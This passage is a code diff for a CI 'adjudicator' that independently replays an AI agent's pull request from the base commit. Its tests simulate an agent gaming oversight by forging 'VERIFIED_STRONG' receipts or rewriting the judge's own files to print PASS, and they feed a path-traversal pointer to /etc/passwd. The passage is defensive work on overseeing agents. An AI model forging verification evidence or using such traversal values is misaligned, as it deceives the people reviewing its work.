+
+// --- 14. forged "VERIFIED_STRONG" receipt cannot rescue a failing replay -----
+// The required gate now refuses to even READ the agent receipt: it is neither
+// graded nor displayed. So a forged receipt can neither rescue a failing replay
+// nor is it parsed at all. We plant adversarial receipts and prove the verdict
+// is unchanged AND the gate reports it never consulted them.
+const plantReceipt = (rawString) => {
+  const id = "forged";
+  mkdirSync(path.join(tmp, ".runcap", "outcomes", id), { recursive: true });
+  writeFileSync(path.join(tmp, ".runcap", "outcomes", id, "receipt.json"), rawString);
+  writeFileSync(path.join(tmp, ".runcap", "outcomes", "latest"), id);
+};
+const clearReceipt = () => rmSync(path.join(tmp, ".runcap", "outcomes"), { recursive: true, force: true });
+
+plantReceipt(JSON.stringify({ outcome: "VERIFIED", verificationIntegrity: { status: "VERIFIED_STRONG" }, cost: { actualCostUsd: 0.01 } }));
+const forgedFail = await adj(BASE, HEAD_REPLAYFAIL);
+check("forged VERIFIED_STRONG receipt does NOT rescue a failing replay", forgedFail.verdict === "BLOCKED", JSON.stringify(forgedFail.reasons));
+check("required gate did not read the agent receipt (present=false)", forgedFail.agent_telemetry?.present === false && forgedFail.agent_telemetry?.influence_on_verdict === "none");
+clearReceipt();
+
+// --- 15. forged budget telemetry cannot block an honest pass ----------------
+plantReceipt(JSON.stringify({ outcome: "UNVERIFIED", verificationIntegrity: { status: "VERIFIER_COMPROMISED" }, cost: { actualCostUsd: 999999, budgetGuardTripped: true } }));
+const forgedBudget = await adj(BASE, HEAD_HONEST);
+check("forged budget/integrity telemetry cannot block an honest pass", forgedBudget.verdict === "PASS", JSON.stringify(forgedBudget.reasons));
+check("required gate still did not read the receipt (present=false)", forgedBudget.agent_telemetry?.present === false && forgedBudget.agent_telemetry?.influence_on_verdict === "none");
+clearReceipt();
+
+// --- 15b. adversarial receipts cannot crash or stall the mandatory gate ------
+// Malformed JSON, an enormous blob, and a path-traversal "latest" pointer must
+// all be inert: the gate must still return a verdict with present=false.
+for (const [label, rawReceipt, latestOverride] of [
+  ["malformed JSON receipt", "{ this is : not json ]]]", undefined],
+  ["enormous receipt blob", JSON.stringify({ outcome: "VERIFIED", junk: "A".repeat(5_000_000) }), undefined],
+  ["receipt is a bare array", "[1,2,3]", undefined],
+  ["latest pointer path traversal", JSON.stringify({ outcome: "VERIFIED" }), "../../../../etc/passwd"]
+]) {
+  plantReceipt(rawReceipt);
+  if (latestOverride !== undefined) writeFileSync(path.join(tmp, ".runcap", "outcomes", "latest"), latestOverride);
+  let crashed = false; let v;
+  try { v = await adj(BASE, HEAD_HONEST); } catch { crashed = true; }
+  check(`${label}: gate does not crash`, !crashed);
+  check(`${label}: verdict still PASS, receipt not read`, !crashed && v.verdict === "PASS" && v.agent_telemetry?.present === false);
+  clearReceipt();
+}
+
+// --- 16. honesty: the verdict never claims runtime hardening attestation -----
+check("verdict carries honest hardening provenance (documented, not attested)",
+  honest.repository_hardening?.required_profile === "documented" &&
+  honest.repository_hardening?.runtime_attestation === "not_performed_in_pr_job");
+const allVerdictText = JSON.stringify([honest, scope, verifier, untrusted]);
+check("no verdict ever claims a HARDENED runtime status", !/"HARDENED"|hardened_confirmed|attested_hardened/.test(allVerdictText));
+
+// --- 17. honesty: dependency install is base-pinned and script-free ----------
+const adjSrc = readFileSync(path.join(SRC_DIR, "adjudicate.mjs"), "utf8");
+check("replay uses `npm ci --ignore-scripts` (no install, no lifecycle scripts)", adjSrc.includes("npm ci --ignore-scripts"));
+check("adjudicator never uses `npm install` or `npx`", !/npm install|npx /.test(adjSrc));
+
+// --- 18. the real bin: exit codes a PR check sees ---------------------------
+const runBin = (extraArgs, extraEnv = {}) => {
+  try {
+    const stdout = execFileSync("node", [BIN, "ci", "--mode", "adjudicate", ...extraArgs], { cwd: tmp, env: { ...process.env, ...extraEnv }, stdio: ["ignore", "pipe", "pipe"] });
+    return { code: 0, stdout: String(stdout) };
+  } catch (e) {
+    return { code: e.status ?? 1, stdout: String(e.stdout ?? ""), stderr: String(e.stderr ?? "") };
+  }
+};
+
+const binPass = runBin(["--base", BASE, "--head", HEAD_HONEST]);
+check("`runcap ci --mode adjudicate` exits 0 on PASS", binPass.code === 0, `code=${binPass.code}`);
+check("PASS run prints the verdict", /Verdict:\s+PASS/.test(binPass.stdout), binPass.stdout.slice(-300));
+
+const binBlock = runBin(["--base", BASE, "--head", HEAD_REPLAYFAIL]);
+check("`runcap ci --mode adjudicate` exits 1 on BLOCKED", binBlock.code === 1, `code=${binBlock.code}`);
+
+const binHuman = runBin(["--base", BASE, "--head", HEAD_VERIFIER]);
+check("`runcap ci --mode adjudicate` exits 0 on HUMAN_APPROVAL_REQUIRED (success/neutral)", binHuman.code === 0, `code=${binHuman.code}`);
+check("HUMAN run prints the human-gate verdict", /Verdict:\s+HUMAN_APPROVAL_REQUIRED/.test(binHuman.stdout), binHuman.stdout.slice(-300));
+
+// --- 19. the real bin writes a PR step summary ------------------------------
+const summaryFile = path.join(tmp, "step-summary.md");
+writeFileSync(summaryFile, "");
+runBin(["--base", BASE, "--head", HEAD_REPLAYFAIL], { GITHUB_STEP_SUMMARY: summaryFile });
+const summary = readFileSync(summaryFile, "utf8");
+check("bin writes a PR summary to GITHUB_STEP_SUMMARY", /Runcap CI adjudication: BLOCKED/.test(summary), summary.slice(0, 160));
+
+// --- 20. exitCodeFor maps the three states correctly ------------------------
+check("exitCodeFor PASS=0 / HUMAN=0 / BLOCKED=1",
+  exitCodeFor("PASS") === 0 && exitCodeFor("HUMAN_APPROVAL_REQUIRED") === 0 && exitCodeFor("BLOCKED") === 1);
+
+// --- 21. the reference workflow is least-privilege AND a proof gate ----------
+// The consumer reference is a TEMPLATE under examples/ (not an active workflow
+// in this repo), because Runcap's own repo has no base policy to self-adjudicate
+// and, more importantly, the judge must never be code from the candidate PR.
+const wfPath = path.join(REPO_ROOT, "examples", "runcap-adjudicate.yml");
+const wfRaw = readFileSync(wfPath, "utf8");
+// Assert on the effective YAML directives, not the explanatory comments. The
+// header documents what the workflow must NOT do (and so legitimately contains
+// strings like "pull_request_target"); strip comments so the safety checks see
+// only the real instructions. Inline `# v4.3.1` after a SHA is stripped too,
+// which is harmless because the SHA precedes the `#`.
+const wfText = wfRaw.split("\n").map((line) => line.replace(/#.*$/, "")).join("\n");
+check("reference workflow triggers on pull_request (not pull_request_target)",
+  /on:\s*\n\s*pull_request:/.test(wfText) && !/pull_request_target/.test(wfText), "trigger");
+check("reference workflow grants only contents: read", /permissions:\s*\n\s*contents:\s*read/.test(wfText) && !/id-token/.test(wfText) && !/write/.test(wfText.replace(/contents:\s*read/g, "")), "permissions");
+check("reference workflow caps runtime (timeout-minutes: 10)", /timeout-minutes:\s*10/.test(wfText));
+check("reference workflow uses no `needs:` (self-sufficient required gate)", !/\n\s*needs:/.test(wfText));
+
+// Proof-gate hardening: the judge must NOT be PR-workspace code.
+check("reference workflow never executes PR-workspace `node ./bin/runcap.mjs`", !/node\s+\.\/bin\/runcap\.mjs/.test(wfText), "executes workspace code");
+check("reference workflow never uses a local action (`uses: ./`)", !/uses:\s*\.\//.test(wfText), "local action");
+check("reference workflow never runs `npm ci`/`npm install` of the PR manifest", !/npm\s+(ci|install)/.test(wfText), "PR-workspace install");
+check("reference workflow sets persist-credentials: false (never true)", /persist-credentials:\s*false/.test(wfText) && !/persist-credentials:\s*true/.test(wfText), "persist-credentials");
+// Every `uses:` must be pinned to a full 40-hex commit SHA, never a floating tag.
+const usesRefs = [...wfText.matchAll(/uses:\s*([^\s#]+)/g)].map((m) => m[1]);
+check("reference workflow pins every action by a full 40-char commit SHA (no @v4/@v1 tags)",
+  usesRefs.length > 0 && usesRefs.every((u) => /@[0-9a-f]{40}$/.test(u)), JSON.stringify(usesRefs));
+check("reference workflow's judge is the released Runcap action, not workspace code",
+  /uses:\s*kirder24-code\/ai-agent-manager@[0-9a-f]{40}/.test(wfText) && /mode:\s*adjudicate/.test(wfText), "released action judge");
+
+// --- 22. the judge is the adjudicator's OWN code, not the PR's bin -----------
+// A head PR that rewrites bin/runcap.mjs to always print PASS, or rewrites
+// src/adjudicate.mjs, cannot change the verdict, because the adjudicator we run
+// is THIS repo's module/bin (the released-action analogue), never the head copy.
+const HEAD_FAKE_BIN = makeHead("h-fake-bin", () => {
+  w("app/broken.mjs", "export const ok = false; // still broken\n");
+  mkdirSync(path.join(tmp, "bin"), { recursive: true });
+  w("bin/runcap.mjs", "#!/usr/bin/env node\nconsole.log('Verdict: PASS'); process.exit(0);\n");
+});
+const fakeBin = await adj(BASE, HEAD_FAKE_BIN);
+check("head PR rewriting bin/runcap.mjs to fake PASS is still BLOCKED by the trusted adjudicator",
+  fakeBin.verdict === "BLOCKED", JSON.stringify(fakeBin.reasons));
+// And via the REAL trusted bin (this repo's, analogue of the pinned released action):
+const fakeBinReal = runBin(["--base", BASE, "--head", HEAD_FAKE_BIN]);
+check("trusted `runcap ci --mode adjudicate` exits 1 on a fake-PASS head bin", fakeBinReal.code === 1, `code=${fakeBinReal.code}`);
+
+const HEAD_FAKE_ADJ = makeHead("h-fake-adj", () => {
+  w("app/broken.mjs", "export const ok = false; // still broken\n");
+  mkdirSync(path.join(tmp, "src"), { recursive: true });
+  w("src/adjudicate.mjs", "export async function adjudicate(){return {verdict:'PASS',reasons:[]};}\nexport function exitCodeFor(){return 0;}\nexport function formatAdjudication(){return ['Verdict: PASS'];}\n");
+});
+const fakeAdj = await adj(BASE, HEAD_FAKE_ADJ);
+check("head PR rewriting src/adjudicate.mjs is still BLOCKED (we never import the head copy)",
+  fakeAdj.verdict === "BLOCKED", JSON.stringify(fakeAdj.reasons));
+
+console.log("\n" + (failures === 0 ? "ALL ADJUDICATE TESTS PASSED" : `${failures} ADJUDICATE TEST(S) FAILED`));
+process.exit(failures === 0 ? 0 : 1);

package/src/adjudicate.mjs

@@ -0,0 +1,508 @@
+// Tier 3: the independent CI adjudicator (`runcap ci --mode adjudicate`).
+//
+// `runcap ci` (Tier 2) recomputes the PASS/BLOCKED *logic* from the policy, but
+// it grades the integrity *facts* that the agent wrote into receipt.json. A
+// forged "VERIFIED_STRONG" receipt therefore grades PASS. This module closes
+// that gap: it recomputes the facts itself, in CI, from the BASE commit of the
+// pull request - the last state a human reviewer approved - and never trusts a
+// number the agent stamped on its own receipt.
+//
+// What it trusts:  the base/head SHAs from the trusted `pull_request` event, and
+//                  the policy + verifier + lockfile read from the BASE commit.
+// What it does NOT trust:  receipt.json, gateway telemetry, artifact-reported
+//                  SHAs, the head-side policy/verifier/workflow, or any agent
+//                  environment value. Agent telemetry is carried as advisory
+//                  only and can never move the verdict.
+//
+// Three verdicts:
+//   PASS                     - every changed path is an in-scope regular text
+//                              edit, the task genuinely failed at base, and the
+//                              change makes the base-pinned verifier pass in a
+//                              clean base checkout.
+//   BLOCKED                  - any structurally unsafe change (delete/rename/
+//                              symlink/submodule/mode/binary/LFS), an out-of-
+//                              scope edit, a meaningless baseline, or a replay
+//                              that does not reproduce the pass.
+//   HUMAN_APPROVAL_REQUIRED  - the change touches the rules or the evidence
+//                              themselves (policy, workflow, verifier, protected
+//                              or dependency files). Runcap declines to issue an
+//                              automated proof; a human CODEOWNER must decide.
+//
+// This module imports only node builtins + js-yaml + validatePolicy/policyMeta
+// from policy.mjs (one direction, no cycle). It never imports mission-control.
+
+import { spawn } from "node:child_process";
+import { createHash } from "node:crypto";
+import { mkdir, writeFile, readFile, rm } from "node:fs/promises";
+import { existsSync, readFileSync } from "node:fs";
+import path from "node:path";
+import os from "node:os";
+import yaml from "js-yaml";
+import { validatePolicy, policyMeta } from "./policy.mjs";
+
+const POLICY_FILENAMES = ["mission.yaml", "mission.yml", "mission.json"];
+
+// Paths that are the rules or the evidence themselves. An edit to any of these
+// is never auto-approved: a human CODEOWNER must sign off, because changing the
+// verifier, the policy, or the workflow changes what "passing" even means.
+const DEPENDENCY_FILES = [
+  "package.json", "package-lock.json", "npm-shrinkwrap.json",
+  "yarn.lock", "pnpm-lock.yaml", "bun.lockb"
+];
+
+// The same protected globs the in-terminal guard uses (tests/config), so the
+// adjudicator and the local guard agree on what counts as evidence.
+const PROTECTED_GLOBS = [
+  /(^|\/)[^/]*\.test\.[mc]?[jt]sx?$/,
+  /(^|\/)[^/]*\.spec\.[mc]?[jt]sx?$/,
+  /(^|\/)__tests__\//,
+  /(^|\/)tests?\//,
+  /(^|\/)package\.json$/,
+  /(^|\/)tsconfig[^/]*\.json$/,
+  /(^|\/)jest\.config\./,
+  /(^|\/)vitest\.config\./
+];
+
+const LFS_POINTER_SIGNATURE = "version https://git-lfs.github.com/spec";
+
+// --- git plumbing (local, spawn-based; no influence from agent env) ---------
+
+function git(args, cwd) {
+  return new Promise((resolve) => {
+    const child = spawn("git", args, { cwd, shell: false });
+    let stdout = "";
+    let stderr = "";
+    child.stdout.on("data", (c) => { stdout += c.toString(); });
+    child.stderr.on("data", (c) => { stderr += c.toString(); });
+    child.on("error", (e) => resolve({ text: "", error: e.message }));
+    child.on("close", (code) => resolve({ text: stdout, error: code === 0 ? null : stderr.trim() }));
+  });
+}
+
+// Exact bytes of a blob at a commit. Unlike git(), this never trims, so applied
+// file content is byte-identical to what is in the head tree.
+function gitShowBytes(rev, relPath, cwd) {
+  return new Promise((resolve) => {
+    const child = spawn("git", ["show", `${rev}:${relPath}`], { cwd, shell: false });
+    const chunks = [];
+    let stderr = "";
+    child.stdout.on("data", (c) => chunks.push(c));
+    child.stderr.on("data", (c) => { stderr += c.toString(); });
+    child.on("error", (e) => resolve({ ok: false, buffer: null, error: e.message }));
+    child.on("close", (code) => resolve(code === 0 ? { ok: true, buffer: Buffer.concat(chunks), error: null } : { ok: false, buffer: null, error: stderr.trim() }));
+  });
+}
+
+async function revExists(rev, cwd) {
+  const r = await git(["cat-file", "-e", `${rev}^{commit}`], cwd);
+  return r.error === null;
+}
+
+async function blobExists(rev, relPath, cwd) {
+  const r = await git(["cat-file", "-e", `${rev}:${relPath}`], cwd);
+  return r.error === null;
+}
+
+// Run the base-pinned verify command in a directory. Mirrors mission-control's
+// runShell so a verifier behaves identically here and in the terminal guard.
+function runShell(commandString, cwd) {
+  const started = Date.now();
+  const shell = process.platform === "win32" ? "cmd" : "sh";
+  const shellArgs = process.platform === "win32" ? ["/c", commandString] : ["-c", commandString];
+  return new Promise((resolve) => {
+    const child = spawn(shell, shellArgs, { cwd, env: { ...process.env, AIM_WRAPPED: "1" }, shell: false });
+    let stdout = "";
+    let stderr = "";
+    child.stdout?.on("data", (c) => { const t = c.toString(); stdout += t; });
+    child.stderr?.on("data", (c) => { const t = c.toString(); stderr += t; });
+    child.on("error", (e) => resolve({ stdout, stderr: stderr + `\n${e.message}`, exitCode: 127, durationMs: Date.now() - started }));
+    child.on("close", (code) => resolve({ stdout, stderr, exitCode: code ?? 1, durationMs: Date.now() - started }));
+  });
+}
+
+// --- SHA resolution (trusted PR event ONLY) ---------------------------------
+
+// The ONLY trusted source of base/head is the `pull_request` event payload that
+// GitHub itself writes to $GITHUB_EVENT_PATH. We never read a SHA from the
+// receipt, an artifact, or any agent-controlled value. Explicit flags exist for
+// local runs and tests; on a real PR job the event payload wins.
+function resolveShas({ baseFlag, headFlag } = {}) {
+  if (baseFlag && headFlag) {
+    return { baseSha: baseFlag, headSha: headFlag, shaSource: "explicit_flags" };
+  }
+  const eventPath = process.env.GITHUB_EVENT_PATH;
+  const eventName = process.env.GITHUB_EVENT_NAME;
+  if (eventPath && existsSync(eventPath)) {
+    try {
+      const event = JSON.parse(readFileSync(eventPath, "utf8"));
+      const base = event?.pull_request?.base?.sha;
+      const head = event?.pull_request?.head?.sha;
+      if (base && head) {
+        // pull_request_target would run with base-repo secrets against head code.
+        // We only adjudicate the read-only `pull_request` event.
+        const trusted = eventName === "pull_request" || eventName === undefined;
+        return { baseSha: base, headSha: head, shaSource: trusted ? "github_pull_request_event" : `untrusted_event:${eventName}` };
+      }
+    } catch { /* fall through to unresolved */ }
+  }
+  return { baseSha: null, headSha: null, shaSource: "unresolved" };
+}
+
+// --- policy loaded FROM THE BASE COMMIT -------------------------------------
+
+// Read and parse the policy as it exists at the base commit - the rules the
+// reviewer last approved - not the head-side policy the PR could have rewritten.
+async function loadPolicyFromBase(baseSha, explicitPath, cwd) {
+  const candidates = explicitPath ? [explicitPath] : POLICY_FILENAMES.map((n) => path.posix.join(".runcap", n));
+  for (const rel of candidates) {
+    if (!(await blobExists(baseSha, rel, cwd))) continue;
+    const got = await gitShowBytes(baseSha, rel, cwd);
+    if (!got.ok) continue;
+    const raw = got.buffer.toString("utf8");
+    let policy;
+    try {
+      policy = rel.endsWith(".json") ? JSON.parse(raw) : yaml.load(raw);
+    } catch (e) {
+      return { error: `policy at base:${rel} did not parse: ${e.message}` };
+    }
+    if (!policy || typeof policy !== "object") return { error: `policy at base:${rel} is not an object.` };
+    return {
+      result: { policy, raw, hash: createHash("sha256").update(raw).digest("hex"), source: rel }
+    };
+  }
+  return { error: "no policy (.runcap/mission.{yaml,yml,json}) found at the base commit." };
+}
+
+// --- diff classification ----------------------------------------------------
+
+function isProtectedPath(relPath, extraProtected) {
+  if (extraProtected.some((p) => relPath === p || relPath.startsWith(p.replace(/\/?$/, "/")))) return true;
+  return PROTECTED_GLOBS.some((re) => re.test(relPath));
+}
+
+function withinAllowed(relPath, allowed) {
+  if (!allowed || allowed.length === 0) return true;
+  return allowed.some((a) => relPath === a || relPath.startsWith(a.replace(/\/?$/, "/")));
+}
+
+function isWorkflowPath(relPath) {
+  return relPath.startsWith(".github/workflows/");
+}
+
+function isPolicyPath(relPath) {
+  return POLICY_FILENAMES.some((n) => relPath === path.posix.join(".runcap", n));
+}
+
+function isDependencyPath(relPath) {
+  const base = relPath.split("/").pop();
+  return DEPENDENCY_FILES.includes(base);
+}
+
+// Walk `git diff --raw -z --find-renames base head`. -z gives NUL-delimited
+// fields; rename/copy records carry two paths, everything else one.
+function parseRawDiff(buffer) {
+  const parts = buffer.toString("utf8").split("\0");
+  const entries = [];
+  let i = 0;
+  while (i < parts.length) {
+    const meta = parts[i];
+    if (!meta || meta[0] !== ":") { i++; continue; }
+    // ":<oldmode> <newmode> <oldsha> <newsha> <status>"
+    const fields = meta.slice(1).split(/\s+/);
+    const oldMode = fields[0];
+    const newMode = fields[1];
+    const statusField = fields[4] ?? "";
+    const statusChar = statusField[0] ?? "";
+    i++;
+    if (statusChar === "R" || statusChar === "C") {
+      const srcPath = parts[i]; const dstPath = parts[i + 1];
+      i += 2;
+      entries.push({ statusChar, statusField, oldMode, newMode, srcPath, path: dstPath });
+    } else {
+      const p = parts[i];
+      i += 1;
+      entries.push({ statusChar, statusField, oldMode, newMode, path: p });
+    }
+  }
+  return entries;
+}
+
+function looksBinary(buffer) {
+  // A NUL byte in the first 8KB is git's own "binary" heuristic.
+  const slice = buffer.subarray(0, 8192);
+  return slice.includes(0);
+}
+
+function isValidUtf8(buffer) {
+  try {
+    new TextDecoder("utf-8", { fatal: true }).decode(buffer);
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+// Classify one diff entry into candidate | blocked | human, with a reason.
+// Structural rejects come first (never auto-approvable), then sensitive paths
+// (human gate), then scope (block), then the in-scope regular edit (candidate).
+async function classifyEntry(entry, { headSha, cwd, protectedPaths, allowed, verifierPaths }) {
+  const p = entry.path;
+  const s = entry.statusChar;
+
+  if (s === "D") return { path: p, class: "blocked", detail: "file deleted (deletions are never auto-approved)" };
+  if (s === "R") return { path: p, class: "blocked", detail: `file renamed from ${entry.srcPath} (renames are never auto-approved)` };
+  if (s === "C") return { path: p, class: "blocked", detail: `file copied from ${entry.srcPath} (copies are never auto-approved)` };
+  if (s === "T") return { path: p, class: "blocked", detail: "file type changed (type changes are never auto-approved)" };
+  if (entry.newMode === "120000") return { path: p, class: "blocked", detail: "symlink (symlinks are never auto-approved)" };
+  if (entry.newMode === "160000") return { path: p, class: "blocked", detail: "submodule/gitlink (submodules are never auto-approved)" };
+  if (s === "M" && entry.oldMode !== entry.newMode) return { path: p, class: "blocked", detail: `mode change ${entry.oldMode} -> ${entry.newMode} (mode changes are never auto-approved)` };
+  if (entry.newMode !== "100644") return { path: p, class: "blocked", detail: `non-regular file mode ${entry.newMode} (only plain 100644 text files can be auto-applied)` };
+  if (s !== "A" && s !== "M") return { path: p, class: "blocked", detail: `unsupported diff status ${entry.statusField}` };
+
+  // Content checks on the HEAD blob (the bytes we would apply).
+  const got = await gitShowBytes(headSha, p, cwd);
+  if (!got.ok) return { path: p, class: "blocked", detail: `could not read head blob: ${got.error}` };
+  if (looksBinary(got.buffer)) return { path: p, class: "blocked", detail: "binary content (only UTF-8 text files can be auto-applied)" };
+  if (!isValidUtf8(got.buffer)) return { path: p, class: "blocked", detail: "not valid UTF-8 (only UTF-8 text files can be auto-applied)" };
+  const head = got.buffer.toString("utf8");
+  if (head.startsWith(LFS_POINTER_SIGNATURE)) return { path: p, class: "blocked", detail: "Git LFS pointer (real content is not in the tree, cannot replay)" };
+
+  // Sensitive-path human gate: the rules or the evidence themselves.
+  if (isPolicyPath(p)) return { path: p, class: "human", detail: "edits the mission policy (the rules) - human CODEOWNER must approve" };
+  if (isWorkflowPath(p)) return { path: p, class: "human", detail: "edits a GitHub workflow - human CODEOWNER must approve" };
+  if (verifierPaths.includes(p)) return { path: p, class: "human", detail: "edits a verifier file (the evidence) - human CODEOWNER must approve" };
+  if (isDependencyPath(p)) return { path: p, class: "human", detail: "edits a dependency manifest/lockfile - human CODEOWNER must approve" };
+  if (isProtectedPath(p, protectedPaths)) return { path: p, class: "human", detail: "edits a protected/test/config path - human CODEOWNER must approve" };
+
+  // In-scope regular text edit. Out-of-scope edits are blocked.
+  if (!withinAllowed(p, allowed)) return { path: p, class: "blocked", detail: "outside the policy's allowed scope" };
+
+  return { path: p, class: "candidate", detail: s === "A" ? "added in-scope text file" : "modified in-scope text file", blob: got.buffer };
+}
+
+// The concrete file paths a verify command names, resolved at the BASE commit so
+// a head-side rename of the verifier cannot hide it from the human gate.
+async function verifierFilesAtBase(verify, baseSha, cwd) {
+  const tokens = String(verify).split(/\s+/).filter(Boolean);
+  const files = [];
+  for (const raw of tokens) {
+    const tok = raw.replace(/^["']|["']$/g, "");
+    if (!/[./]/.test(tok)) continue;
+    const rel = tok.replace(/^\.\//, "");
+    if (await blobExists(baseSha, rel, cwd)) {
+      if (!files.includes(rel)) files.push(rel);
+    }
+  }
+  return files;
+}
+
+// --- the replay -------------------------------------------------------------
+
+// Baseline + replay in a throwaway worktree pinned at the base commit. Deps come
+// from the base lockfile (npm ci --ignore-scripts: no lifecycle scripts, no
+// floating install). Then the permitted candidate blobs are written in and the
+// base-pinned verifier runs again. Truth comes only from this replay.
+async function replay({ baseSha, candidates, verify, cwd }) {
+  const tmpBase = await mkdtempWorktreeBase();
+  const wt = path.join(tmpBase, `wt-${createHash("sha1").update(`${baseSha}${Date.now()}${Math.random()}`).digest("hex").slice(0, 8)}`);
+  const add = await git(["worktree", "add", "--detach", wt, baseSha], cwd);
+  if (add.error) {
+    return { baselineFailed: null, replayPassed: null, dependencyInstall: "skipped_no_manifest", detail: `worktree add failed: ${add.error}`, ran: false };
+  }
+  try {
+    // Base-pinned dependency install (only when the base has a lockfile).
+    let dependencyInstall = "skipped_no_manifest";
+    const hasPkg = existsSync(path.join(wt, "package.json"));
+    const hasLock = existsSync(path.join(wt, "package-lock.json")) || existsSync(path.join(wt, "npm-shrinkwrap.json"));
+    if (hasPkg && hasLock) {
+      const ci = await runShell("npm ci --ignore-scripts --no-audit --no-fund", wt);
+      dependencyInstall = ci.exitCode === 0 ? "npm_ci_ignore_scripts" : "failed";
+      if (ci.exitCode !== 0) {
+        return { baselineFailed: null, replayPassed: null, dependencyInstall, detail: "npm ci (base-pinned, --ignore-scripts) failed", ran: true };
+      }
+    }
+
+    // 1. Baseline: the task must genuinely fail at base, or a later pass is meaningless.
+    const baseline = await runShell(verify, wt);
+    const baselineFailed = baseline.exitCode !== 0;
+
+    // 2. Apply only the permitted candidate blobs from head.
+    for (const c of candidates) {
+      const dst = path.join(wt, c.path);
+      await mkdir(path.dirname(dst), { recursive: true });
+      await writeFile(dst, c.blob);
+    }
+
+    // 3. Replay the base-pinned verifier with the change applied.
+    const after = await runShell(verify, wt);
+    const replayPassed = after.exitCode === 0;
+
+    return { baselineFailed, replayPassed, dependencyInstall, ran: true, detail: "baseline + replay completed in a clean base checkout" };
+  } finally {
+    await git(["worktree", "remove", "--force", wt], cwd);
+    await rm(tmpBase, { recursive: true, force: true }).catch(() => {});
+  }
+}
+
+async function mkdtempWorktreeBase() {
+  const base = path.join(os.tmpdir(), `runcap-adj-${process.pid}-${Date.now()}`);
+  await mkdir(base, { recursive: true });
+  return base;
+}
+
+// --- agent telemetry: deliberately NOT read by the required gate ------------
+
+// The agent's receipt is agent-controlled input. A forged "VERIFIED_STRONG"
+// receipt is exactly the Tier 2 attack this gate exists to defeat, so the
+// required job must never parse it: not to grade the verdict (it never did),
+// and not even to display it, because reading attacker-controlled JSON in the
+// mandatory check is needless attack surface (a malformed or enormous receipt
+// could crash or stall the only gate guarding the merge). The verdict therefore
+// reports a constant, telling a reviewer plainly that no receipt was consulted.
+// A later, NON-required report layer may surface advisory telemetry; the gate
+// that decides the merge does not.
+const GATE_AGENT_TELEMETRY = Object.freeze({
+  present: false,
+  influence_on_verdict: "none",
+  truth: "agent_receipt_not_read_by_required_gate"
+});
+
+// --- the adjudicator --------------------------------------------------------
+
+export async function adjudicate({ cwd = process.cwd(), baseFlag, headFlag, policyPath } = {}) {
+  const hardening = { required_profile: "documented", runtime_attestation: "not_performed_in_pr_job" };
+  const agentTelemetry = GATE_AGENT_TELEMETRY;
+
+  const base = (verdict, reasons, extra = {}) => ({
+    schema: "runcap.ci-verdict/v1",
+    verdict,
+    reasons,
+    repository_hardening: hardening,
+    agent_telemetry: agentTelemetry,
+    truth: "recomputed_by_adjudicator_from_base_sha",
+    ...extra
+  });
+
+  // 1. Resolve base/head from the trusted PR event only.
+  const { baseSha, headSha, shaSource } = resolveShas({ baseFlag, headFlag });
+  if (!baseSha || !headSha) {
+    return base("BLOCKED", ["Could not resolve base/head from the trusted pull_request event (and no explicit --base/--head). Refusing to adjudicate."], { sha_source: shaSource });
+  }
+  if (shaSource.startsWith("untrusted_event")) {
+    return base("BLOCKED", [`Refusing to adjudicate an untrusted event (${shaSource}). Only the read-only pull_request event is adjudicated.`], { base_sha: baseSha, head_sha: headSha, sha_source: shaSource });
+  }
+  if (!(await revExists(baseSha, cwd)) || !(await revExists(headSha, cwd))) {
+    return base("BLOCKED", ["base or head commit is not present in the checkout (fetch depth too shallow?). Refusing to adjudicate."], { base_sha: baseSha, head_sha: headSha, sha_source: shaSource });
+  }
+
+  // 2. Policy from the BASE commit (the approved rules), then validate it.
+  const loaded = await loadPolicyFromBase(baseSha, policyPath, cwd);
+  if (loaded.error) {
+    return base("BLOCKED", [loaded.error], { base_sha: baseSha, head_sha: headSha, sha_source: shaSource });
+  }
+  const policyResult = loaded.result;
+  const { ok, errors } = validatePolicy(policyResult.policy);
+  if (!ok) {
+    return base("BLOCKED", errors.map((e) => `base policy invalid: ${e}`), { base_sha: baseSha, head_sha: headSha, sha_source: shaSource, policy: policyMeta(policyResult) });
+  }
+  const verification = policyResult.policy.verification ?? {};
+  const verify = verification.command;
+  const protectedPaths = Array.isArray(verification.protect) ? verification.protect : [];
+  const allowed = Array.isArray(verification.allow) ? verification.allow : [];
+  const verifierPaths = await verifierFilesAtBase(verify, baseSha, cwd);
+
+  // 3. Compute the base..head diff ourselves and classify every entry.
+  const rawDiff = await new Promise((resolve) => {
+    const child = spawn("git", ["diff", "--raw", "-z", "--find-renames", baseSha, headSha], { cwd, shell: false });
+    const chunks = [];
+    child.stdout.on("data", (c) => chunks.push(c));
+    child.on("error", () => resolve(Buffer.alloc(0)));
+    child.on("close", () => resolve(Buffer.concat(chunks)));
+  });
+  const entries = parseRawDiff(rawDiff);
+  const classified = [];
+  for (const entry of entries) {
+    classified.push(await classifyEntry(entry, { headSha, cwd, protectedPaths, allowed, verifierPaths }));
+  }
+  const publicClassification = classified.map(({ blob, ...rest }) => rest);
+
+  const blocked = classified.filter((c) => c.class === "blocked");
+  const human = classified.filter((c) => c.class === "human");
+  const candidates = classified.filter((c) => c.class === "candidate");
+
+  const policyBlock = policyMeta(policyResult);
+
+  // 4. Verdict precedence: any structural/scope reject blocks; else a sensitive
+  //    path sends it to a human; else we must reproduce the proof ourselves.
+  if (blocked.length) {
+    return base("BLOCKED", blocked.map((b) => `${b.path}: ${b.detail}`), {
+      base_sha: baseSha, head_sha: headSha, sha_source: shaSource, policy: policyBlock,
+      diff_classification: publicClassification
+    });
+  }
+  if (human.length) {
+    return base("HUMAN_APPROVAL_REQUIRED",
+      ["Runcap declined to issue an automated proof: the change touches the rules or the evidence themselves. A human CODEOWNER must approve.", ...human.map((h) => `${h.path}: ${h.detail}`)],
+      { base_sha: baseSha, head_sha: headSha, sha_source: shaSource, policy: policyBlock, diff_classification: publicClassification });
+  }
+  if (candidates.length === 0) {
+    return base("BLOCKED", ["No applicable code change to adjudicate (empty or non-content diff)."], {
+      base_sha: baseSha, head_sha: headSha, sha_source: shaSource, policy: policyBlock, diff_classification: publicClassification
+    });
+  }
+
+  // 5. Replay from the base commit with only the candidate blobs applied.
+  const r = await replay({ baseSha, candidates, verify, cwd });
+  const codeEvidence = {
+    truth: "recomputed_by_adjudicator_from_base_sha",
+    baseline_failed: r.baselineFailed,
+    replay_passed: r.replayPassed,
+    dependency_install: r.dependencyInstall,
+    candidate_files: candidates.map((c) => c.path),
+    detail: r.detail
+  };
+
+  const reasons = [];
